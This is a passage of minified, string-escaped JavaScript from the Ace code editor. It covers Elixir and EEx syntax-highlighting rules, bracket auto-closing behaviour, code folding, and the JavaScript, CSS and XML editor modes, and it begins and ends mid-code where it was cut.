matching\\n\t\t\tp(42.tainted?)\\n\t\t\t'},{token:\"keyword.operator.assignment.augmented.elixir\",regex:\"\\\\+=|\\\\-=|\\\\|\\\\|=|~=|&&=\"},{token:\"keyword.operator.comparison.elixir\",regex:\"===?|!==?|<=?|>=?\"},{token:\"keyword.operator.bitwise.elixir\",regex:\"\\\\|{3}|&{3}|\\\\^{3}|<{3}|>{3}|~{3}\"},{token:\"keyword.operator.logical.elixir\",regex:\"!+|\\\\bnot\\\\b|&&|\\\\band\\\\b|\\\\|\\\\||\\\\bor\\\\b|\\\\bxor\\\\b\",originalRegex:\"(?<=[ \\\\t])!+|\\\\bnot\\\\b|&&|\\\\band\\\\b|\\\\|\\\\||\\\\bor\\\\b|\\\\bxor\\\\b\"},{token:\"keyword.operator.arithmetic.elixir\",regex:\"\\\\*|\\\\+|\\\\-|/\"},{token:\"keyword.operator.other.elixir\",regex:\"\\\\||\\\\+\\\\+|\\\\-\\\\-|\\\\*\\\\*|\\\\\\\\\\\\\\\\|\\\\<\\\\-|\\\\<\\\\>|\\\\<\\\\<|\\\\>\\\\>|\\\\:\\\\:|\\\\.\\\\.|\\\\|>|~|=>\"},{token:\"keyword.operator.assignment.elixir\",regex:\"=\"},{token:\"punctuation.separator.other.elixir\",regex:\":\"},{token:\"punctuation.separator.statement.elixir\",regex:\"\\\\;\"},{token:\"punctuation.separator.object.elixir\",regex:\",\"},{token:\"punctuation.separator.method.elixir\",regex:\"\\\\.\"},{token:\"punctuation.section.scope.elixir\",regex:\"\\\\{|\\\\}\"},{token:\"punctuation.section.array.elixir\",regex:\"\\\\[|\\\\]\"},{token:\"punctuation.section.function.elixir\",regex:\"\\\\(|\\\\)\"}],\"#escaped_char\":[{token:\"constant.character.escape.elixir\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{1,2}|.)\"}],\"#interpolated_elixir\":[{token:[\"source.elixir.embedded.source\",\"source.elixir.embedded.source.empty\"],regex:\"(#\\\\{)(\\\\})\"},{todo:{token:\"punctuation.section.embedded.elixir\",regex:\"#\\\\{\",push:[{token:\"punctuation.section.embedded.elixir\",regex:\"\\\\}\",next:\"pop\"},{include:\"#nest_curly_and_self\"},{include:\"$self\"},{defaultToken:\"source.elixir.embedded.source\"}]}}],\"#nest_curly_and_self\":[{token:\"punctuation.section.scope.elixir\",regex:\"\\\\{\",push:[{token:\"punctuation.section.scope.elixir\",regex:\"\\\\}\",next:\"pop\"},{include:\"#nest_curly_and_self\"}]},{include:\"$self\"}],\"#regex_sub\":[{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{token:[\"punctuation.definition.arbitrary-repitition.elixir\",\"string.regexp.arbitrary-repitition.elixir\",\"string.regexp.arbitrary-repitition.elixir\",\"punctuation.definition.arbitrary-repitition.elixir\"],regex:\"(\\\\{)(\\\\d+)((?:,\\\\d+)?)(\\\\})\"},{token:\"punctuation.definition.character-class.elixir\",regex:\"\\\\[(?:\\\\^?\\\\])?\",push:[{token:\"punctuation.definition.character-class.elixir\",regex:\"\\\\]\",next:\"pop\"},{include:\"#escaped_char\"},{defaultToken:\"string.regexp.character-class.elixir\"}]},{token:\"punctuation.definition.group.elixir\",regex:\"\\\\(\",push:[{token:\"punctuation.definition.group.elixir\",regex:\"\\\\)\",next:\"pop\"},{include:\"#regex_sub\"},{defaultToken:\"string.regexp.group.elixir\"}]},{token:[\"punctuation.definition.comment.elixir\",\"comment.line.number-sign.elixir\"],regex:\"(?:^|\\\\s)(#)(\\\\s[[a-zA-Z0-9,. \\\\t?!-][^\\\\x00-\\\\x7F]]*$)\",originalRegex:\"(?<=^|\\\\s)(#)\\\\s[[a-zA-Z0-9,. \\\\t?!-][^\\\\x{00}-\\\\x{7F}]]*$\",comment:\"We are restrictive in what we allow to go after the comment character to avoid false positives, since the availability of comments depend on regexp flags.\"}]},this.normalizeRules()};s.metaData={comment:\"Textmate bundle for Elixir Programming Language.\",fileTypes:[\"ex\",\"exs\"],firstLineMatch:\"^#!/.*\\\\belixir\",foldingStartMarker:\"(after|else|catch|rescue|\\\\-\\\\>|\\\\{|\\\\[|do)\\\\s*$\",foldingStopMarker:\"^\\\\s*((\\\\}|\\\\]|after|else|catch|rescue)\\\\s*$|end\\\\b)\",keyEquivalent:\"^~E\",name:\"Elixir\",scopeName:\"source.elixir\"},r.inherits(s,i),t.ElixirHighlightRules=s}),define(\"ace/mode/html_elixir_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/elixir_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./elixir_highlight_rules\").ElixirHighlightRules,o=function(){i.call(this);var e=[{regex:\"<%%|%%>\",token:\"constant.language.escape\"},{token:\"comment.start.eex\",regex:\"<%#\",push:[{token:\"comment.end.eex\",regex:\"%>\",next:\"pop\",defaultToken:\"comment\"}]},{token:\"support.elixir_tag\",regex:\"<%+(?!>)[-=]?\",push:\"elixir-start\"}],t=[{token:\"support.elixir_tag\",regex:\"%>\",next:\"pop\"},{token:\"comment\",regex:\"#(?:[^%]|%[^>])*\"}];for(var n in this.$rules)this.$rules[n].unshift.apply(this.$rules[n],e);this.embedRules(s,\"elixir-\",t,[\"start\"]),this.normalizeRules()};r.inherits(o,i),t.HtmlElixirHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var 